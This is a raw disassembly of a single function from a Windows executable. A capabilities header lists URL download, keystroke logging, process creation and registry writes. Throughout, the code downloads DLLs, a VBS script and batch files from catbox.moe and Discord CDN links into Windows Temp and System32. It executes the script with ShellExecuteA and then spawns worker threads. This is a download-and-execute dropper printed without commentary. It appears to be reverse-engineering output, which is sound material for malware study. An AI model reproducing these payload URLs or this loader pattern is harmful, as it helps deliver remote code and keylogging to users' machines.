Function at 0x14005bb80
Capabilities:
Create process on windows
Create thread
Download url
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x1f00]
mov eax, 0x2000
call fcn.14012fa90
sub rsp, rax
movups xmm0, xmmword [str.https:__files.catbox.moe_acg3ql.dll]
mov eax, dword [0x140171238]
lea r8, [rsp + 0x78]
movups xmm1, xmmword [0x140171228]
mov dword [rbp - 0x38], eax
xor r12d, r12d
movzx eax, word [0x140171258]
lea rdx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
mov word [rbp - 0x70], ax
xor r9d, r9d
movups xmm0, xmmword [str.C:WindowsTemp_acg3ql.dll]
movzx eax, byte [0x14017125a]
xor ecx, ecx
movups xmmword [rbp - 0x48], xmm1
mov byte [rbp - 0x6e], al
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x20], r12
movsd xmm0, qword [0x140171250]
movsd qword [rbp - 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rsp + 0x78]
movaps xmm1, xmmword [0x140171270]
lea rdx, [rbp + 0xa0]
movzx eax, byte [0x1401712b8]
xor r9d, r9d
movaps xmmword [rbp + 0xa0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140171280]
movaps xmmword [rbp + 0xc0], xmm0
movaps xmm0, xmmword [0x1401712a0]
movaps xmmword [rbp + 0xe0], xmm0
movsd xmm0, qword [0x1401712b0]
movsd qword [rbp + 0xf0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xf8], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rsp + 0x78], xmm0
mov word [rbp - 0x70], ax
movsd xmm0, qword [0x1401712d0]
movaps xmmword [rbp + 0xb0], xmm1
movaps xmm1, xmmword [0x140171290]
movsd qword [rbp - 0x78], xmm0
movaps xmmword [rbp + 0xd0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movups xmm0, xmmword [str.https:__files.catbox.moe_afyk9c.dll]
mov eax, dword [0x140171300]
lea r8, str.C:WindowsTemp_afyk9c.dll
movups xmm1, xmmword [0x1401712f0]
mov edx, 0x104
mov dword [rbp + 0xbc8], eax
lea rcx, [rbp + 0x12a0]
movups xmmword [rbp + 0xba8], xmm0
movups xmmword [rbp + 0xbb8], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x12a0]
xor ecx, ecx
lea rdx, [rbp + 0xba8]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_afyk9c.dll]
mov eax, dword [0x140171300]
movups xmm1, xmmword [0x1401712f0]
mov dword [rbp - 0x38], eax
movzx eax, word [0x140171078]
movups xmmword [rbp - 0x58], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_afyk9c.dll]
movups xmmword [rbp - 0x48], xmm1
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x140171070]
movsd qword [rbp - 0x78], xmm0
mov word [rbp - 0x70], ax
lea r8, [rsp + 0x78]
movzx eax, byte [0x14017107a]
lea rdx, [rbp - 0x58]
xor r9d, r9d
mov byte [rbp - 0x6e], al
xor ecx, ecx
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_afyk9c.dll]
mov eax, dword [0x140171300]
lea r8, [rsp + 0x78]
movups xmm1, xmmword [0x1401712f0]
mov dword [rbp - 0x38], eax
xor r9d, r9d
movzx eax, word [0x140171078]
lea rdx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
mov word [rbp - 0x70], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_afyk9c.dll]
movzx eax, byte [0x14017107a]
movups xmmword [rbp - 0x48], xmm1
mov byte [rbp - 0x6e], al
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x20], r12
movsd xmm0, qword [0x140171070]
movsd qword [rbp - 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x1120]
lea rdx, [rdx + 0x80]
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x171310]
lea rcx, [rbx + 0x171310]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
lea r8, str.C:WindowsTemp_block_internet.bat
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm1
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x13b0]
mov byte [rdx + 0x3e], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x13b0]
xor ecx, ecx
lea rdx, [rbp + 0x1120]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171400]
lea rax, [rbx + 0x171400]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x11e0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
lea r8, str.C:WindowsTemp_resume_internet.bat
mov edx, 0x104
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x14c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x14c0]
xor ecx, ecx
lea rdx, [rbp + 0x11e0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1714f0]
lea rcx, [rbx + 0x1714f0]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xee0]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsSystem32_rafa.wav
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x15d0]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x15d0]
xor ecx, ecx
lea rdx, [rbp + 0xee0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x1401715e8]
lea r8, str.C:WindowsTempxdgioy.dll
movups xmm0, xmmword [str.https:__files.catbox.moe_xdgioy.text]
mov dword [rbp + 0x370], eax
mov edx, 0x104
movups xmm1, xmmword [0x1401715d8]
movzx eax, byte [0x1401715ec]
lea rcx, [rbp + 0xdd0]
movups xmmword [rbp + 0x350], xmm0
mov byte [rbp + 0x374], al
movups xmmword [rbp + 0x360], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x1401715e8]
lea r8, str.C:WindowsTempxdgioy.dll
movups xmm0, xmmword [str.https:__files.catbox.moe_xdgioy.text]
mov dword [rbp + 0x398], eax
mov edx, 0x104
movups xmm1, xmmword [0x1401715d8]
movzx eax, byte [0x1401715ec]
lea rcx, [rbp + 0xdd0]
movups xmmword [rbp + 0x378], xmm0
mov byte [rbp + 0x39c], al
movups xmmword [rbp + 0x388], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1b20]
xor ecx, ecx
lea rdx, [rbp + 0x378]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_9ll0jb.dll]
mov eax, dword [0x140171610]
lea r8, str.C:WindowsTemp9ll0jb.dll
movups xmm1, xmmword [0x140171600]
mov edx, 0x104
mov dword [rbp + 0xbf0], eax
lea rcx, [rbp + 0xdd0]
movups xmmword [rbp + 0xbd0], xmm0
movups xmmword [rbp + 0xbe0], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c30]
xor ecx, ecx
lea rdx, [rbp + 0xbd0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_9ll0jb.dll]
mov eax, dword [0x140171610]
lea r8, str.C:WindowsTemp9ll0jb.dll
movups xmm1, xmmword [0x140171600]
mov edx, 0x104
mov dword [rbp + 0xc18], eax
lea rcx, [rbp + 0x16e0]
movups xmmword [rbp + 0xbf8], xmm0
movups xmmword [rbp + 0xc08], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x16e0]
xor ecx, ecx
lea rdx, [rbp + 0xbf8]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171640]
lea rcx, [rbx + 0x171640]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xfa0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
lea r8, str.C:WindowsTempRas1.dll
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x17f0]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x17f0]
xor ecx, ecx
lea rdx, [rbp + 0xfa0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171720]
lea rcx, [rbx + 0x171720]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1060]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsTempRastss.dll
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x1900]
mov byte [rdx + 0x36], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1900]
xor ecx, ecx
lea rdx, [rbp + 0x1060]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea r8, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x1401717f0]
lea rcx, [rbp + 0x1a10]
mov eax, dword [0x140171838]
mov edx, 0x104
movaps xmmword [rbp + 0xc50], xmm0
movaps xmm0, xmmword [0x140171800]
movaps xmmword [rbp + 0xc70], xmm0
movaps xmm0, xmmword [0x140171820]
movaps xmmword [rbp + 0xc90], xmm0
movsd xmm0, qword [0x140171830]
movaps xmmword [rbp + 0xc60], xmm1
movaps xmm1, xmmword [0x140171810]
movsd qword [rbp + 0xca0], xmm0
movaps xmmword [rbp + 0xc80], xmm1
mov dword [rbp + 0xca8], eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1a10]
xor ecx, ecx
lea rdx, [rbp + 0xc50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x290]
lea rcx, [rbx + 0x171860]
movups xmm0, xmmword [rcx]
lea rdx, [rdx + 0x80]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov qword [rsp + 0x20], r12
mov eax, dword [rcx + 0x30]
lea r8, [rsp + 0x78]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x290]
movzx eax, word [0x140171930]
mov word [rbp - 0x70], ax
movzx eax, byte [0x140171932]
movups xmmword [rsp + 0x78], xmm0
mov byte [rbp - 0x6e], al
movsd xmm0, qword [0x140171928]
movsd qword [rbp - 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171860]
lea rcx, [rbx + 0x171860]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x290]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
movups xmmword [rsp + 0x78], xmm0
mov byte [rdx + 0x36], al
movsd xmm0, qword [0x140171928]
movzx eax, word [0x140171930]
movsd qword [rbp - 0x78], xmm0
mov word [rbp - 0x70], ax
lea r8, [rsp + 0x78]
movzx eax, byte [0x140171932]
lea rdx, [rbp + 0x290]
xor r9d, r9d
mov byte [rbp - 0x6e], al
xor ecx, ecx
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171940]
lea rcx, [rbx + 0x171940]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x290]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x290]
mov eax, dword [0x140171a18]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x140171a1c]
movups xmmword [rsp + 0x78], xmm0
mov byte [rbp - 0x6c], al
movsd xmm0, qword [0x140171a10]
movsd qword [rbp - 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171640]
lea rcx, [rbx + 0x171640]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x290]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
mov byte [rdx + 0x34], al
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
movzx eax, byte [0x140171710]
lea r8, [rsp + 0x78]
xor r9d, r9d
mov byte [rbp - 0x70], al
movups xmmword [rsp + 0x78], xmm0
lea rdx, [rbp + 0x290]
xor ecx, ecx
movsd xmm0, qword [0x140171708]
movsd qword [rbp - 0x78], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x171a20]
lea rax, [rbx + 0x171a20]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x290]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rsp + 0x78]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x290]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x140171ae8]
movsd qword [rbp - 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rsp + 0x78]
movzx eax, word [0x140171b48]
lea rdx, [rbp + 0xa0]
movaps xmm1, xmmword [0x140171b00]
xor r9d, r9d
movaps xmmword [rbp + 0xa0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140171b10]
movaps xmmword [rbp + 0xc0], xmm0
movaps xmm0, xmmword [0x140171b30]
movaps xmmword [rbp + 0xe0], xmm0
movsd xmm0, qword [0x140171b40]
movsd qword [rbp + 0xf0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xf8], ax
movzx eax, word [0x140171128]
movups xmmword [rsp + 0x78], xmm0
mov word [rbp - 0x70], ax
movsd xmm0, qword [0x140171120]
movzx eax, byte [0x14017112a]
movaps xmmword [rbp + 0xb0], xmm1
movaps xmm1, xmmword [0x140171b20]
movsd qword [rbp - 0x78], xmm0
movaps xmmword [rbp + 0xd0], xmm1
mov byte [rbp - 0x6e], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
movaps xmm1, xmmword [0x140171b60]
movaps xmmword [rbp + 0x230], xmm0
movaps xmm0, xmmword [0x140171b70]
movaps xmmword [rbp + 0x240], xmm1
movaps xmm1, xmmword [0x140171b80]
lea r8, [rbp + 0x68]
mov eax, dword [0x140171ba8]
lea rdx, [rbp + 0x230]
movaps xmmword [rbp + 0x250], xmm0
xor r9d, r9d
movaps xmm0, xmmword [0x140171b90]
xor ecx, ecx
movaps xmmword [rbp + 0x270], xmm0
movsd xmm0, qword [0x140171ba0]
mov dword [rbp + 0x288], eax
movzx eax, word [0x140171bac]
movsd qword [rbp + 0x280], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0x28c], ax
movzx eax, byte [0x140171bae]
movaps xmmword [rbp + 0x260], xmm1
movups xmm1, xmmword [0x140171208]
mov byte [rbp + 0x28e], al
movups xmmword [rbp + 0x68], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x78], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_nsq4a8.dll]
mov eax, dword [0x140171bd0]
lea r8, [rsp + 0x78]
movups xmm1, xmmword [0x140171bc0]
mov dword [rbp - 0x38], eax
xor r9d, r9d
movzx eax, word [0x140171bf0]
lea rdx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
mov word [rbp - 0x70], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_nsq4a8.dll]
movzx eax, byte [0x140171bf2]
movups xmmword [rbp - 0x48], xmm1
mov byte [rbp - 0x6e], al
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x20], r12
movsd xmm0, qword [0x140171be8]
movsd qword [rbp - 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32chams.dll
mov edx, 0x104
lea rcx, [rbp + 0x1d40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140056b60]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140054880
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140053f40]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140054080]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140053660]
lea rcx, [rbp - 0x18]
call fcn.1400639f0
lea rcx, [rbp - 0x18]
call fcn.140052110
cmp dword [rbp - 0x10], r12d
je 0x14005ca52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, qword [0x1402dad78]
call fcn.1400536c0
lea rcx, [0x1402fc040]
call fcn.1400d8b70
cmp dword [0x1402dadc8], r12d
jne 0x14005ca86
call fcn.140064190
mov rcx, rax
call fcn.1400640f0
mov dword [0x1402dadc8], eax
call fcn.140064190
mov edx, dword [0x1402dadc8]
mov rcx, rax
call fcn.140064030
lea rcx, [0x1402fc040]
call fcn.1400d8b70
cmp byte [0x1402fc258], r12b
jne 0x14005cadf
lea rcx, [0x1402fc260]
call fcn.140045030
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x140062660]
